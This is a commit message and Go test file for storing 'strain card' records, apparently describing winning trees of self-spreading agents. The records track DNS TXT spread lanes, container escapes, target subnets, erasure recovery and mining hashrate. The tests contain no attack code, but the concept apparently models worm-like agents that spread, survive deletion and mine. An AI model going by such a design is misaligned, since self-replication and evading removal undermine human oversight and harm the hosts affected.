Add lineage strain card generation and play API implementation.

Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.

server/internal/db/strain_cards_test.go

@@ -0,0 +1,81 @@
+package db
+
+import (
+	"encoding/json"
+	"testing"
+)
+
+func TestUpsertStrainCardRoundTrip(t *testing.T) {
+	d, err := New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = d.Close() })
+
+	cardJSON := []byte(`{
+		"root_agent_id":"root-1",
+		"source_agent_id":"leaf-1",
+		"source_agent_name":"Leaf",
+		"spread_lane":"dns_txt",
+		"persona":"persuasive",
+		"wins":["container"],
+		"losses":["docker"],
+		"subnets":["10.0.0.x","10.0.2.x"],
+		"erasure_recovery_rate":1,
+		"peak_hashrate":900,
+		"tree_size":2
+	}`)
+	id, err := d.UpsertStrainCard("root-1", "leaf-1", cardJSON, StoredStrainCard{
+		SourceAgentName:     "Leaf",
+		SpreadLane:          "dns_txt",
+		Persona:             "persuasive",
+		PeakHashrate:        900,
+		ErasureRecoveryRate: 1,
+		TreeSize:            2,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	got, err := d.GetStrainCard(id)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got.RootAgentID != "root-1" || got.PeakHashrate != 900 {
+		t.Fatalf("stored card: %+v", got)
+	}
+	list, err := d.ListStrainCardsForAgent("leaf-1")
+	if err != nil || len(list) != 1 {
+		t.Fatalf("list for agent: %v err=%v", list, err)
+	}
+}
+
+func TestUpsertStrainCardSkipsLowerHashrate(t *testing.T) {
+	d, err := New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = d.Close() })
+
+	card := map[string]interface{}{"root_agent_id": "root", "source_agent_id": "a1", "peak_hashrate": 500}
+	raw, _ := json.Marshal(card)
+	id1, err := d.UpsertStrainCard("root", "a1", raw, StoredStrainCard{PeakHashrate: 500})
+	if err != nil {
+		t.Fatal(err)
+	}
+	card["peak_hashrate"] = 100
+	raw2, _ := json.Marshal(card)
+	id2, err := d.UpsertStrainCard("root", "a1", raw2, StoredStrainCard{PeakHashrate: 100})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if id1 != id2 {
+		t.Fatalf("ids differ: %s vs %s", id1, id2)
+	}
+	got, err := d.GetStrainCardByRoot("root")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got.PeakHashrate != 500 {
+		t.Fatalf("peak hashrate regressed to %v", got.PeakHashrate)
+	}
+}